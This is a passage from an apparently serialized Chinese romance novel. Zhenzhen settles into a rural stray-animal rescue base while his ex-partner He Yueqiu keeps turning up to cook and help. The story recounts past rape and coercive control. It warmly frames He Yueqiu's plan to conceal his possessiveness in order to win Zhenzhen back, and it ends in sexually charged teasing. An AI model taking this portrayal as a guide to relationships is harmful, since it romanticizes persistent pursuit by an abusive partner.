怕从那双眼睛里看到如从前一般的憎恶和恐惧,也怕那张脸上会露出抗拒和失望的神情,更怕从那张薄唇里吐出的驱赶。 又愧又怕, 贺越邱束手束脚, 真不知道自己该怎么办才好,也只能少说多做,更卖力地干活。 甄甄新搬来的这个救助基地其实就是郊外一个村子里,宅基地不能买卖, 所以当时贺越邱找了块非基本农田的空地,连带着旁边主人家那栋早就没人住的二层楼小院子一起,长租了二十年。贺越邱把那块空地都给围起来了,甄甄救助来的流浪猫狗等就放在里面散养,另外找了个兽医专业的应届大学生专职照顾。 这处地方连带二层小楼都远离村中心,但毕竟是首都的城郊,哪怕是在村里,其实多走几步,公交和地铁口也都一应俱全,交通方面不是问题,否则甄甄也不会舍近求远搬来这里了。 到目的地后依旧是贺越邱负责绝大多数物件的下货搬运,甄甄本来还想一起帮忙能快点,被他喊到一边,一点都不让他动。 甄甄看着贺越邱好像有无限精力般,忍不住小声嘀咕道:“跟牛似的。” 他其实还挺羡慕,多健康壮实的身体,不像自己,一阵风就能吹倒了。 贺越邱虽然不让甄甄干重活,但甄甄也没闲着,先把楼上的房间收拾出来铺好床单被套,又把小猫小狗们都放了出来,给它们放好食水。 做完这些后也半个下午了,贺越也邱把东西下得差不多,在水泥地的院子里摆得满满当当,让检查完救助基地的兽医小张回来后都吓了一跳。 “你们这么快就搬完啦?我还急着赶回来想搭把手呢!” 甄甄回头一看是他,笑眼弯弯:“对呀。” “正好,我那边忙完了,晚上一起吃饭,庆祝一下我的新老板走马上任。” “嗯,再没有谁家的老板手底下只有一个兽医和一堆猫猫狗狗了。” 小张经常去城里接甄甄救助的动物,他们互相都认识,不过这半年因为这些破事两人也没怎么见面,这会儿一说上话就有点打不住。 贺越邱融入不进去,双手插在兜里,闷闷地站在角落里一棵桂花树下,嫉妒地看向相谈甚欢的那边。 小张知道甄甄和贺越邱之间的关系,包括他们分手的事,只是不知内情。他余光一瞥,凑近了小声道:“你确定你俩真分了?你们谈的时候贺总也没敢往这基地来过几趟啊,我看他那眼珠子都快黏你身上了。” 甄甄摸摸鼻尖,这么明显到连外人都能看出来的事他怎么会看不出来,贺越邱也从没掩饰过他想要继续追求复合的意图,只是好马不吃回头草,他不愿意再接受而已。 甄甄含糊道:“谁管他……非跟着来。” 甄甄现在看得很开,贺越邱非要追着那就追着吧,只要他不死缠烂打,别老出现在自己面前惹人心烦,那他也不是不能忍,反正他不管搬家到哪里都会被这人找到,干脆躺平摆烂不挣扎了。 当然,如果他还像以前那样不顾自己意愿,总摆出那副强势霸道的姿态,他也不是没办法再逼他一次。 以后还有很长很长的日子要过,甄甄没打算浪费太多心情在贺越邱身上,无论是回应还是抗拒。 小张也不是很八卦的人,看甄甄不想说也就没刨根问底,拍拍他肩膀很讲义气地说:“虽然给我开工资的人是贺总,但我肯定站在你这边,不管你做什么决定,我都会支持你的!” 甄甄有点无奈地看他一眼:“不要讲这种烂大街的NPC台词好吗?” 小张不仅不生气,反而笑嘻嘻地说:“嗯,说话依旧犀利,看来没怎么受情伤,那就更好了。” 眼看着贺越邱站在被人遗忘的角落里,那股怨气都能凝成实体了,小张才停下来和甄甄的叙旧,跟他一起进屋。 贺越邱马上跟过去,虽然他只是前男友,但怎么可能眼睁睁地看着甄甄和另一个男人勾肩搭背。 而且他现在重点防的就是医生这种职业。 兽医? 那也是医生! 不过贺越邱也知道自己不受甄甄待见,怕在他跟前晃悠多了会惹人生气,就钻进厨房里一边留意这两人的动静一边做晚饭。 人虽然不在,但小张总觉得自己好像被什么脏东西给盯上了,后背冷冷的。 “院子里那么多东西都是贺总一个人搬的?” “嗯。” “那他现在又去做饭了?原来人是不需要休息的吗?!” “呃……你别把他当人看,当核动力牛看好了。” “不愧是你啊甄老板,不止驭下有道,更是驭夫有道!”小张发出由衷感叹。 甄甄提醒他,“前夫。” “好吧,那我以后就不叫他贺总了,叫前夫哥。” 甄甄亮出自己沙包大的拳头,“你叫一次我揍你一次。” 小张贱兮兮地伸手包住:“我们来比比手的大小?你的手真小~” “咚”的一声巨响,吓了客厅里的两人一跳。 甄甄不高兴地冲厨房大声问:“你干什么?” 那边是贺越邱冷冰冰又带着点幽怨的声音传过来:“剁鱼头!” 小张一只手抓着甄甄,一只手摸摸自己脖子,浑身打了个寒颤。 “好奇怪,怎么感觉贺总好像在吃醋?可以前我不也是经常这么跟你开玩笑吗?他今天吃错药了?” 甄甄想起贺越邱干的那些好事,恨得牙痒痒,磨着牙说:“谁知道,说不准脑子里哪根筋搭错了,把抗过敏药吃成了火/药。” 小张羡慕道:“你知道,我一直都很想跟你学习语言的艺术。” 甄甄幽幽道:“我觉得你要是再不放开我的手,可能需要先学习一下生存的艺术。” 小张笑得咯吱咯吱的,放开甄甄,先和他去二楼转了一圈,又带他去熟悉了一下救助基地。 “这些年陆陆续续救助的动物算下来总共有两百多只,猫占绝大多数,不过好在圈出来的空地很大,它们平时可以随便跑动,晚上会回猫屋里休息。” 小张介绍了一些基本情况,坦言道:“能领养出去的都领养出去了,剩下的都是一些不好领出去的成猫,每天消耗的猫粮就是一笔不小的支出,更别说其他必备用品。听说你现在在做自媒体?但就按它们这种吃法,你赚的钱估计一大半都得贴在它们身上。” 甄甄和他往回走,才刚亲自看了一圈,情况心里也有数:“本来就是靠它们赚的钱,再回馈一些也没什么。倒是你比较辛苦,这几年一直都留在这里照顾它们。” 小张挥挥手,不好意思地说:“我本来就是兽医,不是在这里医小猫小狗也得在养猪场养牛场什么的给牛马看病。现在这种生活挺好的,就照顾些小动物,可比跟人打交道轻松多了。” 甄甄也感叹道:“是啊,它们不会说话,反而更知道该怎么安慰人。” 他们一路说笑,很快就回到了院子,杂七杂八的东西已经被贺越邱都挪到屋里收拾好了,空荡荡的地方现在只有桌椅,和桌上琳琅满目的菜肴。 最中间的是一道剁椒鱼头,在早春的傍晚里飘着热乎乎的香味,小张一边流口水一边摸脖子,怎么又感觉凉飕飕的? 贺越邱也正好端着两个盛满米饭的碗出来,放下后解开围裙搭在椅子上,拉开旁边的椅子,用期盼的眼神示意甄甄来坐。 甄甄也没纠结,他走累了,往椅子上一坐就跟没骨头似的靠着。 小张左看右看没发现第三个碗:“贺总,我的呢?” 贺越邱眼神里的温柔立马结冰,冷冷道:“这么大个人了不知道自己去盛饭吗?” 小张进屋前看了眼瘫在椅子上同样很大……好吧,还是要比自己小很多的人,嘴里啧啧有词,看啊,这就是赤裸裸的双标! 贺越邱冷哼一声,但一转头面对甄甄,就又变得规规矩矩无公害般,温声说:“你中午没好好吃饭,我做了很多是你以前比较爱吃的,就当庆祝一下搬新家。” 甄甄数了一下,有六个菜,贺越邱忙前忙后一整天,居然还有精力下厨,这能干程度让人不得不佩服。 贺越邱像是知道他在想什么似的,拿起空碗开始舀排骨汤,递到甄甄面前:“我好用吧?以后有什么事都可以叫我来帮忙,只是想让我来做饭也行,反正我不收你一分钱。” 第75章 第 75 章 小狗开心。 甄甄看都没看放在自己面前的那碗排骨汤, 满脸嫌弃地瞥了眼贺越邱:“你伺候人还上瘾了?” “我要是说上瘾呢,你又要骂我说话太恶心,要我注意保持距离;我要是否认, 你肯定也会生气, 而且我答应过你, 不会再在你面前撒谎。”贺越邱摊摊手, 一副很无可奈何的样子, “所以你说,我该怎么回答?” “生你的气?呵呵,那是浪费时间浪费精力,我根本就懒得理你!”甄甄说完就转过头, 压根不看他了。 贺越邱心中叹了口气, 又是喜欢又是无奈地看着撅起嘴巴明显在闹小脾气的男生, 百依百顺地说:“对, 我不值得你生气,先吃晚饭吧。” 正说着,小张端着冒尖的白米饭出来了, 一屁股坐在甄甄的另一边,拿起筷子就开始大快朵颐, 还不时催甄甄也快动筷子,见他像小孩子吃饭一样磨磨蹭蹭,都不怎么夹菜, 又用公筷夹了好几块排骨到他面前的小盘子里。 “你多吃点肉, 看看这都瘦成什么样了,咱又不当赵飞燕。” 贺越邱看小张突然比之前顺眼了点儿。他也不多话,免得惹人厌烦,只是安静吃饭, 适时给甄甄夹些菜,倒点水。 或许是带这么多小猫小狗搬家忙了一天没吃东西确实饿了,或许是有小张在说说笑笑氛围很好,这顿晚饭甄甄吃得不少,和他以前厌食症没发作时几乎一样。 贺越邱暗中有留意观察,发现甄甄排骨和清炒杏鲍菇吃得比较多,口味都是偏比较清淡的,全部记下了。 小张就来者不拒了,一点也不挑食,边吃边夸这道菜做得好。看他吃得香,甄甄也有种吃得又饱有好的满足感。哪怕后面吃不下了,早早放下碗,他也没离席,笑眯眯地看着饭搭子风卷残云。 贺越邱摩挲着下巴冒出来的刺手胡茬,觉得自己好像掌握了正常喂养厌食小狗的方法。 吃完晚饭,贺越邱起身要收拾碗筷,小张怎么好意思让客人又下厨又洗碗的,忙说:“你坐着休息吧贺总,我来洗碗就行。” 有独处的机会贺越邱怎么可能放过,也不推辞,点头说了声好,就重新坐回去,又悄悄往甄甄那边挪了挪。 甄甄也不知看到还是没看到,总之没动,只说:“天都黑了,你还不回去?” 他们到的时候就已经是半个下午了,期间又要搬东西布置,又要熟悉环境,做饭吃饭也耽误了不少时间。 这会儿夕阳的最后一丝余烬也收起了余热,早春的寒冷夜色笼罩下来,天上黑得一颗星星都没有,月亮也隐在乌云背后,只有远处的城市里灯火通明亮如白昼,近处能够提供照明的只有二层小楼院子里的大白炽灯,把墙角那棵桂花树的影子拉得极长,四面八方传来了地里聒噪中又透着静谧的虫叫声。 贺越邱笑着回答:“我还以为你会说,‘天都这么黑了,别回去了,就在这里留宿吧’。” 他把卫衣又穿了回去,晚上还是冷。 他又问甄甄冷不冷,不等人回话,就先去车里拿出来一条毛绒毯子,轻轻搭在甄甄腿上。 甄甄一时都不知道该骂贺越邱痴心妄想还是把毯子丢回给他,风一阵阵吹过,他拉了拉腿上的毯子,倒确实有点更深露重的意思了。 贺越邱看他被照得雪白盈润,又半隐在夜色中朦朦胧胧、似乎发着光的脸庞,忍不住轻笑了声:“今晚的月亮不在天上。” “神经,月亮不在天上在哪里。” “在我眼里。” 甄甄狐疑地凑近了点去看贺越邱的眼睛,棕色的瞳孔却有种黑色的深邃,仿佛宇宙中能吸引一切物质坍缩的黑洞。他很专注地在看,眼里却什么都没有,甄甄正想骂人,但嘴巴刚一动就发现这双眼睛里似乎只倒映着自己一个人,瞬间就明白了那句话的意思。 甄甄张了张嘴,想骂人又不知道该怎么骂,最后只揉着眼睛小声嘟哝道:“花言巧语,舌灿莲花,巧舌如簧,油嘴滑舌!” 贺越邱听得一清二楚,诚恳问:“你在夸我吗?” “没皮没脸,卑鄙无耻,恬不知耻,厚颜无耻!” 小张洗完碗甩着手上的水出来:“玩成语接龙呢?带我一个呗。” 甄甄猛地转头瞪着他,眼睛里喷出小火苗。 小张冲过来精准把水甩在甄甄脸上,嘴里还叫嚷着:“我来救火了!” 贺越邱忍俊不禁,看他们两个吵闹成一团,又有点被排斥在外的郁闷,又打从心里觉得高兴。 果然人是群居动物,不能脱离社会生活,甄甄越是和不同的人多接触,他脸上的笑就越来越多。贺越邱是最熟悉他这些日子变化的人,看他一点点从忧郁沉闷变得生动活泼,一时感慨万千。 但他确定一点,他就希望甄甄能这样快快乐乐地生活每一天。他不奢求还能继续以伴侣的身份陪在这个人身边,只要偶尔能像个不太熟的陌生人一样见见他、和他说说话,他就已经心满意足了。 做错事就要弥补,小孩子都懂的道理,可他懂得太晚。 贺越邱起身,不声不响地走了。 他脚步轻快,是这大半年来鲜有的放松和愉悦,甚至他感觉自己就像天边不时飞过的鸟,松快得就要飞起来。 甄甄,甄甄……他在心里反复默念着这两个字,一股热流从心脏泵出来,顺着血管蔓延到全身。无论是对他打打骂骂的甄甄,还是爱答不理的甄甄,再或者偶尔也流露出一点惯性依赖的甄甄,他都喜欢得不得了。 他以前怎么就这么蠢?只知道用暴力和强制的手段留下人? 贺越邱笑了,一开始还是无声地嘲讽自己,后来这笑声越来越大,逐渐变成找到出路、高兴到快要发疯的大笑,他甚至就这么边笑边奔跑起来,根本抑制不住那发自内心的喜悦。 他早就该想到的!甄甄明明吃软不吃硬,是最心软最善良的小男生,他年纪才多大啊,他能见过多少人,只要自己把那股扭曲的占有欲和控制欲藏起来,藏得深深的,再也不冒头,他就不会吓到他了。 只要……只要他不害怕自己,不赶自己离开,贺越邱发誓,他不会再贪心更多。 小张闹完甄甄才突然想起来什么似的,左右一看:“哎不对,贺总人呢?啥时候不见的?” 甄甄抓起毯子披在肩上,把自己像欧美剧里的白人主妇一样包裹起来,随口道:“回家了呗,走吧,我们也进去,外面冷起来了。” 小张点点头,虽然知道他肯定已经把楼房看了一遍,但还是主动介绍道:“我一般就睡一楼的主卧,其他几个房间都用来放一些疫苗和常备药物了,还有个简陋的小手术室,这村里的人都知道我是兽医,谁家牲畜病了也会来找我看能不能治。楼上现在你住,房间没一楼多,但你想当仓库囤点什么东西也是够用的。至于卫浴这种,每层楼都有一间,生活上还是挺方便的。平时吃饭就我来做吧,我手艺没贺总那么好,不过也够吃了。” 甄甄对居住环境要求不高,干净整洁方便就成,听小张絮絮叨叨的,忍不住笑道:“我俩跟单亲爸爸搭伙过日子似的。” 小张略一沉思,觉得很贴切:“可不是单亲爸爸么,我这里一堆毛孩子,你那里也一堆,以后有得忙了。两百多只猫狗啊,每天连屎都得铲几十斤!” 甄甄看过救助基地的猫砂池,脸上顿时浮现出痛苦的表情:“果然当爱好变成工作后,现实比幻想残酷多了!” 小张哥俩好地拍拍他肩膀:“我这人仁义,屎我来铲,你就负责喂食吧!” 甄甄激动地抓住他的手:“大夫您真是妙手回春,兽面人心!” “文艺工作者首先要有文化!成语不是这么用的!” 甄甄觉得这里还应该要有一个人,他想小张和那个人一定也能相谈甚欢。 “以后有机会介绍我朋友给你认识,你俩肯定合得来。” 小张好奇:“谁?” 甄甄偏不说了,促狭又神秘地一笑:“等周末我把他叫来当苦力你就知道了。” 他们又聊了会儿天,瞌睡慢慢上来,就互道了晚安。 第二天上午九点多,小张来喊甄甄吃早饭,他好久没睡得这么饱过,一睁眼就神清气爽,难得的没赖床,一伸懒腰就起来了。 早饭就是简单的稀饭小菜,甄甄心情好,胃口跟着不错,没就小菜,喝了一小碗,剩下的都进了小张肚子里。 他们一起去房子旁边的草地,也就是圈起来的救助基地,甄甄赚钱后换了新的拍摄设备,可以直接戴在脑袋上,这更方便他拍视频了。 一路上小张摸着吃得饱饱的肚子,老说自己撑得难受。 “怪不得你这么瘦呢,就吃那么点,你看我都有幸福肥了!” 甄甄瞅他一眼,圆圆的脸和匀称的身材,笑起来很和善,像那种村里最憨厚的老母鸡,每天咯咯哒咯咯哒地拎着一桶猫粮到处喂食。 “你笑啥?”小张摸不着头脑,但他莫名就是觉得甄甄笑得止不住的原因出在自己身上,“喂!别笑了!你别以为我没发现你肯定在心里给我乱起什么绰号!” 甄甄笑得眼泪都出来了,一个劲否认:“没有,绝对没有!” 不等小张刨根问底,他一把抢过粮桶,往小张屁股上轻轻一踹:“铲屎官,本将命你快去支援猫砂池!” 小张夸张地捂着屁股嗷嗷叫喊,嘴里还不忘捧哏:“末将得令!” 甄甄心情那叫一个好,给每个区域放置的猫粮碗倒粮时都哼着歌,等他回来剪视频时才发现人声被录进去了,但要是把所有原声都去掉,那又很无趣。 想了想,甄甄还是保留了原声,点击发布后就没管了。 哪想到,加了他乱哼歌和碎碎念的视频反而比以前纯环境音的沉浸式vlog更火,一发布就惊到了老粉——咦?不是人美心善小姐姐吗?怎么变成男生了? 不过声音这么好听,还很温柔,管他男的女的,先点赞再说! 第76章 第 76 章 新生活。 新视频发布后不到一天, 点赞就已经超过了甄甄账号里原来点赞最高的视频,且流量还在跑,远没有到顶。 戴维一直都有在关注甄甄的这个账号, 见状特别高兴地发消息通知了他。那时候甄甄正在帮小张打下手给刚长成的小公猫嘎蛋, 硬是按耐住激动的心情, 等绝育手术结束后才打开手机看后台, 果然又是铺天盖地的红色数字提示。 小张也探头要看, 见他最新视频点赞过了六十万,比甄甄还兴奋地原地跳起来:“哇!你现在是大网红了!” 甄甄努力压下嘴角的弧度,但无论是上扬的眉梢或是声线,无一不暴露出他内心远没有看上去那么平静。 他知道现在这个账号远没有以前的颜值账号火, 内容难度也比之前大多了, 而且那时候还有戴维帮他运营, 他只需要出一张脸就够了, 现在无论从前期的脚本策划还是后期的拍摄剪辑,全都得他自己一个人摸索着来。他一点点把账号像是盖房子一样搭建起来,其中种种辛苦不易只有自己心里才清楚。 但无论起步有多难, 这个账号越来越火,就已经是最好的能够证明他能力的方式。 甄甄翻看着那些热评, 眼睛里是止不住的笑意。 因为他之前就已经在往期视频文案里提过要搬家的事,粉丝发现地点改变后也没有太惊讶,反倒震惊于他平时收留的那些流浪动物原来只是冰山一角, 后面还有这么大一个救助基地。 大家又吃惊又好奇, 发现他养着这么多张嘴巴后,呼吁他多接广告多带货的声音更是此起彼伏,恨不得他一条视频塞满广告。 甄甄倒也没被蜂拥而至的夸赞给捧得迷了眼,他回复了一条被顶在最前面的求接广热评, 再次表明自己接广告一定会实际测评后再决定要不要推荐给大家,也让大家不要担心他的收入。 小张在一边看得津津有味,提议道:“以后可以多给观众介绍一下救助基地,说不准一些长得可爱的小猫小狗就有人领养了呢,这样不仅减轻我们的负担,还能给它们找一个更好的家。” 甄甄边跟他说着话,边翻着评论,他也看到有条热评夸他声音很好听,想求以后的视频都加入这种介绍碎碎念。 可他心里总是还有着顾忌,没有立刻回复,沉默片刻后问小张:“你说我要不要声音入镜?” 小张被问懵了,一脸纳闷:“你声音这么好听,脸又长得这么好看,你要是愿意真人出镜的话,这个账号只会更火吧?其实我都搞不明白你为什么放弃了之前的职业,我觉得你如果继续做平面模特和颜值网红,早就财富自由了,还需要跑到这里来吃苦受罪。” 甄甄勉强笑了下,没有明确回复要不要改变拍摄方式,只是说:“你要是这么说的话,那我也想不通名牌大学毕业的研究生,还是现在这么吃香的兽医专业,怎么会愿意放弃更好的工作岗位跑到郊区的村里来守着这些小动物。” “去宠物医院看病的宠物都是有主人照顾的,那没有主人照顾的小流浪们只好来我这里看病了。”小张笑笑。 甄甄收起手机,没有再继续讨论,但小张看出来了他的魂不守舍,晚上一起回小楼房的时候,他小心地问:“你不想再暴露在网络里了对吗?” 小张听见一声很轻的叹息,他看向甄甄,那张本来就很漂亮,笑起来就更漂亮的脸上,此时却好像笼罩着一层朦胧的雾色,明明五官的表情都没有改变,但他就是莫名觉得有些怅然。 甄甄眼无焦距地望向远处,天色已经由亮转暗,四面八方都隐入暗蓝的天幕里。 他本来不想说,除了始作俑者之外,他没有再对任何人主动提起,可面对小张,却有了一种倾诉的冲动。 “我……经历过一些事,现在很害怕镜头,所以我不想再抛头露面,模特和之前的账号都做不了了。” 小张没有刨根问底,“但你就算不露脸,重新起一个账号,一样火了。甄甄,其实你真的很厉害,我觉得你天生就是吃互联网这碗饭的。” “这话我另一个朋友也跟我说过。”甄甄苦笑道,“我知道逃避可耻,正确做法应该是去面对,可……” “哪来的正确做法?每个人遇到的事不一样,谁也不能只站在自己的角度就对其他人指手画脚,你现在不是过得好好的吗,照样靠自媒体混得风生水起,只是换了一种不同的赛道而已。” “谢谢你安慰,我自己也明白,就是好多时候心里过不去这坎。”甄甄摸着自己的脸,对镜头的应激发作最厉害的时候,他连镜子都不敢看,任何能够发光的东西都能够触发他的恐惧。他有些不甘心地说,“可是我又忍不住想,我这张脸又不是偷来抢来的,是我爸妈送给我的礼物,它让我得到了很多改变人生的机会,我为什么要因为别人的错误把它藏起来。” “我觉得顺其自然就好了,想露脸就露脸,不想露就不露。说不准过个几年,甚至说几个月,你的心态就又发生改变了。” 甄甄心里也清楚,他不是不知道该怎么做,他一向都是个很有自己主见的人。只是很多时候,没有人能够听他说自己的打算,他偶尔也想要得到除了自己以外的声音的支持。 小张和方寸行他们都不一样,他什么都不知道,不会用怜悯的眼神看着他,不会把他当易碎品,他只是站在朋友的角度,在朋友有难题时,陪他一起抓耳挠腮想办法解决。 这样就够了。甄甄想。 “我想先试试声音入镜,效果好的话,以后就固定这种模式。” 小张笑道:“好呀,其他的慢慢来。” 甄甄点头,好像卸下了一个很重的大包袱一样,脚步都轻快许多,抽出水泥路边长得旺盛的茅草叼在嘴里,像小孩儿一样咬着嫩甜的幼茎。 柯基远远地就听见脚步声,咧开嘴角甩着舌头迈着四条小短腿就冲着他们跑过来,周围是昆虫窸窸窣窣的响声,偶尔会传来几句大爷大妈说话的声音。 可甄甄觉得这里好安静,安静得仿佛连时间都在这一刻变得很缓慢,像一条在他眼前奔流湍急的大河拐了个湾,就这么慢慢悠悠地他往远方流去,他那颗总是因为受到过伤害而没有安全感的心也安定了下来。 快到家时,小张忽然“咦”了一声,把甄甄从走神拉回来:“那是不是贺总?人高马大的,好像还系着围裙?cos田螺姑娘啊?” 甄甄顺着他手指的方向看过去,先是疑惑,后又皱紧眉头,下意识厌恶起贺越邱的不请自来。 他加快脚步,带着柯基很快就走到院门口,正要不客气地下逐客令,戴维不知道从哪里窜出来,给了他一个大大的拥抱。 “甄甄bb想我没?” “戴维?!” “是我!” 戴维直接把甄甄抱起来,转了几个圈后才把他放下,兴奋得好像和柯基一样摇着……等等,柯基没有尾巴。 甄甄落地后还有点晕,贺越邱眼疾手快扶了一把,一触即分的肢体接触带来一道闪电,在瞬间传遍他的全身。 贺越邱瞳孔微张。 甄甄假装没注意到他的异样,看向戴维:“你怎么来了?” “我来庆祝你新生活步入正轨呀!你新账号的视频我们办公室的人都刷到过了,不过除了阿曼达和芳姐,其他人都不知道这个账号是你的,我这次来也是代表她们来慰问前同事。现在看见你精神这么好,我们总算可以放心啦!” 甄甄又看了眼安静站在一旁的贺越邱,“那你呢?” 贺越邱读出他语气里的不欢迎,对比起那黄毛小子的待遇,心里酸溜溜的,嘴上淡定道:“小区现在不允许流浪猫狗进入,我把你经常喂的那几只带来了,航空箱放在二楼,照你做的那样先隔离。” “你把过敏药当糖吃呢?” 明明没什么感情的一句话,但贺越邱硬是品出些担心和娇嗔的滋味,嘴角不由勾起:“不然就得进医院了。我来之前提前给你发过消息,但你没回我,我怕药效过时又要继续吃,所以只好先斩后奏带过来再说。” “理由找得倒是挺充分。”甄甄嘟囔了一句,但原来那点火气也消下去了。 贺越邱又说:“我等了一会儿,不见你们回来,看天要黑了,顺手做了晚饭,免得你饿肚子。” 小张闻言眼前一亮:“天底下没有免费的午餐,但是有免费的晚餐!” 甄甄好笑地瞅他一眼:“你饿了?” 小张圆圆的手拍了下他的肚子:“我觉得你饿了。” 戴维也拍了下:“扁扁的。” 贺越邱努力当这两个人不存在,也假装没有看见他们放在甄甄肚子上就不挪窝的手,转身进厨房端菜。 甄甄先踹小张后踹戴维:“帮忙去!不准捏我肚子了!”—— 作者有话说:申请了插画,通过后就可以上线了,祝大家国庆快乐假期愉快 第77章 第 77 章 甘之如饴。 就算甄甄有厌食症也不得不承认贺越邱的厨艺不输一些名号响亮的大厨, 他只是习惯性地不想吃东西,稍微吃多一点就会很难受,但这又不代表他的味觉真的出了问题。 连甄甄都这么觉得, 就更别提另外两个吃货了, 他俩还真是一见如故, 饭桌上聊得热火朝天, 边吃边说干掉了一大半美食。 今晚月亮很圆, 亮光洒在漫山遍野,不用院里的大白炽灯也能把树木草丛照得一清二楚。夜风徐徐吹来,带着翻耕过的泥土和草地的气息送到甄甄鼻中,他沉醉似的深深吸了一口, 睁开眼后脑海是前所未有的清晰, 心情也是一种舒缓的平静。 他双手撑着下巴, 看左右两边喝了些啤酒有点醉醺醺的小张和戴维, 嘴角扬起一个安适的弧度。 贺越邱起身收拾餐桌,甄甄一人给了小张和戴维一下:“别闹了,去帮忙, 哪有白吃白喝的道理?” 贺越邱不喜欢甄甄的注意力都放在与自己无关的人身上,但他知道他需要更多的朋友, 而自己现在和他的朋友比起来,根本就是陌生人的程度。 好在他已经很会排解这份醋意,表面上看不出任何破绽, 假装温和道:“没关系, 你的朋友都累一天了,我自己一个人就行。” 甄甄直觉这男人怕是又在演,嘴上说不在意,心里指不定正在琢磨怎么折磨小张和戴维, 比方说下次饭菜里给他们下下毒什么的? 他抬头看一眼系着围裙在院子和堂屋进进出出的贺越邱,视线落在他曾经折断又长好的十根指甲上。 商界赫赫有名的贺氏掌权人,不在觥筹交错的名流晚会里推杯换盏,却跑来无人问津的城郊村地里洗手作羹汤,现在更是像个受气保姆一样端着油腻腻的餐盘忙个不停。 巨大而悬殊的反差感让甄甄时刻都觉得无比割裂,他始终想不明白贺越邱到底是怎么说服自己低下那高傲的头颅,过去那些暴虐的性情似乎完全被磨平了棱角,变得比绵羊还要温顺听话。 或许是他的目光太过于直白和疑惑,贺越邱很快就察觉到了,按耐住内心的冲动,笑道:“怎么了?一直盯着我看?” 没有声音回答。 甄甄不知道他现在这副情绪稳定、平易近人的模样完全是装出来的吗? 他知道。他和贺越邱睡了四年,这世上没人比他更了解这个男人了,他只是从之前的漠视和厌烦变得有点好奇,他想知道贺越邱能这样装多久。 几天?一个月?一年?或者更久? 还是说只要一遇到什么刺激性事件,比如像之前刚摊牌那阵,他一说要分手、一提到贺过岭,贺越邱就会失去控制。他很想知道现在的贺越邱比起以前有没有进步,比如说能不能够在面对刺激时也保持住这副始终彬彬有礼、风度翩翩的样子。 甄甄总是善良的小心脏忽然邪恶了一下,他真的好想试试。 当然不会再像在方寸行家里那一次一样,无论是贺越邱,还是任何一个人,都不值得他以牺牲自己的方式去报复谁。 这么想,甄甄露出一个有些残忍、又有点俏皮的微笑,连那颗尖尖的小虎牙都晃着白光,看得贺越邱心里发痒,好想被那颗牙齿或轻轻刮一下、或重重咬一口,那感觉一定会很爽。 而甄甄接下来的一句话让贺越邱又是心痛入骨,又是爽得双目赤红、头皮发麻:“你应该算是很幸运的,我这辈子大概只有一次被逼得走投无路,从而找男人上床刺激你的经历。我现在对待感情的看法更加成熟,以后不管还会不会遇到和你一样糟心的人,都大概率不会再做同样的事了。” 贺越邱挑眉,笑得有几分邪肆:“按你这么说,我应该感到很荣幸了。” 甄甄点头,他笑起来比贺越邱更像一个杀人诛心的小恶魔:“你不是一直都很喜欢把我分享出去吗?我当时就想,这种方式肯定很合你心意。如果以后我找到了新的想要共度一生的人,而你又确实特别想看自己曾经睡过的人在别的男人身下是怎么痴迷承欢的,也可以通知我一声,我会在征得我新对象的同意后在我们的床边给你安排一个位置。就像之前和贺过岭那次一样,一定让你宾至如归。” “甄甄,你现在怎么变得这么坏了?” 贺越邱这时候还能笑得出来,眼睛里似有熊熊火焰,快要把他整个人都烧干净了,而这份灼灼热意也透过他的眼神像毒蛇一般黏在甄甄身上。 他按按胸口,这里很痛,无论过去多久,无论回忆过多少次,但只要那件事被旧事重提,他都依旧会被拉回那天的绝望。 可他又特别高兴甄甄能够开诚布公的主动提起,这说明那件事并没有就此成为甄甄的心理阴影,也暗暗地说明,他对自己的看法和定位又有了新的改变,至少不再是疏离厌恶的前男友。 “很坏吗?我只是觉得如果你给我找不痛快,那我也会以牙还牙报复回来。像个被抛弃的小可怜一样哭哭啼啼躲躲藏藏那是对爱情还没死心的小孩子才会做的事,我现在对你可没有任何期待。”甄甄虽然还笑着,但眼神已经一秒比一秒冰冷,声音也快要听不出感情。 但贺越邱却发自内心地觉得甄甄这样的变化再好不过了,他终于没再把所有的痛苦都闷在心里,而是统统发泄了出来。 而作为造成这一切糟糕局面的始作俑者,他理所当然地要接下甄甄对现状的一切不满和怒火,哪怕他不知道甄甄为什么忽然就发作了。 ——这也不重要。贺越邱不想刨根问底追查甄甄到底是因为哪一句话或者哪一个人才突然变得这么咄咄逼人,他只想把外貌仍旧漂亮乖巧、却悄悄长出恶魔犄角和爱心尾巴的小东西立刻按在这儿当场办了。 他激动得急赤耳红,立刻有了变化,甄甄余光瞥到一眼,顿时嫌弃得一脚踹过去:“滚进去,别辣我朋友们的眼!” 贺越邱忍得浑身发抖,姿态怪异地进屋,故作委屈道:“是你先要招我的,我本来只是想多做点家务好好改造。” 甄甄也跟着进来了,顺带把大门关上,就着昏黄的光线打量对面那高大健壮的男人。 也真是奇怪,放在刚被强/暴过那会儿,他是绝对不敢和这种体型的男人共处一室的,甚至一看到就会害怕发抖应激过度,可现在他却一点惧意都没有。 也许是贺越邱的伪装太迷惑人,让他觉得这人已经失去了所有攻击性,变得安全无比?还是说他已经见过最糟糕的局面了,现在是破罐子破摔,反正不会比那天晚上更糟糕? 无论哪种答案,甄甄现在不怕贺越邱是事实。相反,他莫名有种直觉,感觉一直在慢慢往后退的贺越邱还挺怕他的? “宝贝儿,我能这么叫你吗?你别睡一觉起来,明天又怪我先不守规矩——你别再过来了,你比谁都清楚我现在想做什么。”贺越邱往后退着,眼里的火已经烧到最旺,心里的火更是无处发泄,甄甄可以没有心理负担地故意挑逗,可他却不敢真的咬钩啊。 嘶,真不是人能忍的。好想扒了那小坏蛋的衣服,像以前一样恶劣地对待他,听他可怜兮兮叫贺哥叫老公的求饶声——他怎么就把自己弄到只能看不能吃面对诱惑还必须忍着的地步? 现在要问最想杀了以前那个畜生贺越邱的人是谁,那必然是忍得辛苦的他自己。 屋里很暗,可甄甄还是一眼就看清楚了那双灼亮吓人的眼睛,和对方腹部激烈的变化,勾起一丝绝不纯良的笑容,连一向惹人怜爱的下垂眼,都在此刻染上几分不可言说的诱惑。 没错,他就是故意的,他就是想看看贺越邱究竟能装到什么地步。要不是过不去心里那道坎,想着凭什么白白奖励他,甄甄都想用以前还谈着的时候用过的一些方法,给这干柴烈火一触即燃的场面再添一把火了。 “看来你还真不怕憋爆啊,”甄甄似笑非笑地轻哼一声,眼神从上往下略微地一停顿,“我看它好像比你本人诚实多了。” 那表情勾得贺越邱直想不管不顾地就扑上去,还好最后一丝理智拉住了他。 他一路退进厨房里,后腰抵在灶台上,已经退无可退,投降般举起双手:“别玩了宝贝儿,你明知道我不敢做什么,这么试探我不信任我改过的决心,让我很受挫的。” 